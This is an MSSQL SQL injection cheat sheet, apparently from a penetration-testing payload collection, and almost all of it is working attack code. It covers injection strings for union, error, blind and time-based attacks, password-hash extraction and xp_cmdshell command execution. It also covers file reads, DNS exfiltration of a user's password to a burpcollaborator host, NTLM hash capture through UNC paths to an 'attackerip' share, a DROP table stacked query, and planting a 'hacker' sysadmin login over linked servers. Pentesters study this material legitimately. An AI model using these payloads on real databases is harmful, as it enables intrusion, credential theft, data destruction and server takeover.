MSSQL Injection

Summary

• MSSQL Comments

• MSSQL User

• MSSQL Version

• MSSQL Hostname

• MSSQL Database name

• MSSQL List databases

• MSSQL List columns

• MSSQL List tables

• MSSQL Extract user/password

• MSSQL Union Based

• MSSQL Error Based

• MSSQL Blind Based

• MSSQL Time Based

• MSSQL Stacked query

• MSSQL Read file

• MSSQL Command execution

• MSSQL Out of band

  • MSSQL DNS exfiltration

  • MSSQL UNC path

• MSSQL Make user DBA

• MSSQL Trusted Links

• MSSQL List permissions

MSSQL Comments

-- comment goes here
/* comment goes here */

MSSQL User

SELECT CURRENT_USER
SELECT user_name();
SELECT system_user;
SELECT user;

MSSQL version

SELECT @@version

MSSQL Hostname

SELECT HOST_NAME()
SELECT @@hostname;

MSSQL Database name

SELECT DB_NAME()

MSSQL List databases

SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, …
SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to anything else you want => master, tempdb, model, msdb   (Only works in MSSQL 2017+)

MSSQL List columns

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

SELECT table_catalog, column_name FROM information_schema.columns

MSSQL List tables

SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

SELECT table_catalog, table_name FROM information_schema.columns
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options  (Only works in MSSQL 2017+)

MSSQL Extract user/password

MSSQL 2000:
SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)

MSSQL 2005
SELECT name, password_hash FROM master.sys.sql_logins
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins

MSSQL Union Based

-- extract databases names
$ SELECT name FROM master..sysdatabases
[*] Injection
[*] msdb
[*] tempdb

-- extract tables from Injection database
$ SELECT name FROM Injection..sysobjects WHERE xtype = 'U'
[*] Profiles
[*] Roles
[*] Users

-- extract columns for the table Users
$ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users')
[*] UserId
[*] UserName

-- Finally extract the data
$ SELECT  UserId, UserName from Users

MSSQL Error based

For integer inputs : convert(int,@@version)
For integer inputs : cast((SELECT @@version) as int)

For string inputs   : ' + convert(int,@@version) + '
For string inputs   : ' + cast((SELECT @@version) as int) + '

MSSQL Blind based

AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -

AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64-- 

AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90

SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'

WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'

MSSQL Time based

ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--

IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'     comment:   --

MSSQL Stacked Query

Use a semi-colon ";" to add another query

ProductID=1; DROP members--

MSSQL Read file

Permissions: The BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER DATABASE BULK OPERATIONS permission.

-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null

MSSQL Command execution

EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';

If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

To interact with the MSSQL instance.

sqsh -S 192.168.1.X -U sa -P superPassword
python mssqlclient.py WORKGROUP/Administrator:[email protected] -port 46758

Execute Python script

Executed by a different user than the one using xp_cmdshell to execute commands

#Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

MSSQL Out of band

MSSQL DNS exfiltration

Technique from https://twitter.com/ptswarm/status/1313476695295512578/photo/1

# Permissions: Requires VIEW SERVER STATE permission on the server.
1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))

# Permissions: Requires the CONTROL SERVER permission.
1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))

MSSQL UNC Path

MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the xp_dirtree function to list the files in our SMB share and grab the NTLMv2 hash.

1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';-- 

xp_dirtree '\\attackerip\file'
xp_fileexist '\\attackerip\file'
BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
RESTORE LABELONLY FROM DISK = '\\attackerip\file'
RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'

MSSQL Make user DBA (DB admin)

EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;

MSSQL Trusted Links

The links between databases work even across forest trusts.

msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter sessio

Manual exploitation

-- find link
select * from master..sysservers

-- execute query through the link
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');

-- chain multiple openquery
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')

-- execute shell commands
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')

-- create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"

List permissions

Listing effective permissions of current user on the server.

SELECT * FROM fn_my_permissions(NULL, 'SERVER'); 

Listing effective permissions of current user on the database.

SELECT * FROM fn_my_permissions (NULL, 'DATABASE');

Listing effective permissions of current user on a view.

SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name; 

Check if current user is a member of the specified server role.

-- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin
SELECT is_srvrolemember('sysadmin');

References

• Pentest Monkey - mssql-sql-injection-cheat-sheet

• Error Based - SQL Injection

• MSSQL Trusted Links - HackTricks.xyz

• SQL Server – Link… Link… Link… and Shell: How to Hack Database Links in SQL Server! - Antti Rantasaari - June 6th, 2013

• DAFT: Database Audit Framework & Toolkit - NetSPI

• SQL Server UNC Path Injection Cheatsheet - nullbind

• Full MSSQL Injection PWNage - ZeQ3uL && JabAv0C - 28 January 2009

• Microsoft - sys.fn_my_permissions (Transact-SQL)

• Microsoft - IS_SRVROLEMEMBER (Transact-SQL)